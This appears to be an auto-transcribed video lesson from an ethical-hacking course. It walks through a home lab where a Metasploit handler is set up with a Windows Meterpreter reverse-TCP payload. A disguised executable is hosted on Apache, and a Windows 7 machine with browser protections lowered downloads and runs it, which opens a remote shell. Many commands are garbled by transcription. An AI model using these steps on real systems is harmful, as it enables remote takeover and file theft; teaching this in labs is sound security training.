Now that we created our exploit payload and we've set it up in a shared folder on our Apache server,
our Web server, it's time to switch back over and we're going to run this exploit on our Windows seven
computer.
And now we need to establish a handler so that when that payload file phones home or calls back to our
Tengo three point five Calli Linux computer, it will be able to do something to exploit and to compromise
that Windows seven computer.
So we'll set up a handler by saying use, exploit, slash, multi tab, slash handler, HP Tab and press
enter.
Now we're going to tell it what to handle.
We're going to say set payload windows, slash interpretor, slash reverse underscore Tsipi and press
enter and we should be able to show the options.
You can see that it requires an L host, a local host, and we haven't set one up yet, so let's put
our host address in as Tenggara three point five.
I will say set lightpost and these have to be all uppercase set l host 10 dot oh dot three, dot five
or whatever the IP addresses of your Calli Linux computer.
So our localhost that we will be talking back and forth with from our Windows seven computer is our
Calli Linux Computer Tendo three point five.
We can show the options one more time.
And we can see that we filled everything in now we should be able to run the exploit, so we will say
exploit Dash J, Dash Z and hit enter and we've started the reverse TCP handler on Tenggara three point
five.
And as connections come in on this reverse, TCP handler.
In other words, when that Windows seven computer finds the infected file, downloads it and then runs
it, it's going to call home and we're going to be able to set up that intersection that will control
the Windows seven computers.
Let's see how to do that.
Let's switch back to Windows seven and then your Windows seven computer open Internet Explorer.
Or if you've installed another browser on there, that's fine as well.
And I have turned the safety under Internet options.
Security.
Down to medium high, a disabled protected mode, that just means that I won't and won't stop myself
from downloading this executable file so you can change those options.
It's still medium high.
I've just turned off protected mode.
And you can set a different custom level if you want, but this one should work fine.
When you change those Internet options, click OK and I will surf to Tynda odon three to five share.
And if we're correctly on the same network as our Linux computer, that internal host only network 10
not Odah three, I should be able to surf to that share folder if Apache is running well on the Linux
box and I should find that game Dodik file.
I'm going to click to download it and I'll say save.
And this will saved my downloads folder and now if I run it.
I may have to click through an.
Give it permission, but it looks like gained New York, it sounds fine to download, right?
If we run that and then switch back over to our Cauli Linux box, you will see that our computer odah
three to four, in my case, my Windows seven computer has phoned home and there is now an interpreter
session that is a direct, interactive session that I can use to communicate with that Windows seven
box.
I can list files, I can download files just about anything.
The sky's the limit.
So when we come back in the next lesson, we're going to see how to use an interpreter to compromise
that Windows seven computer.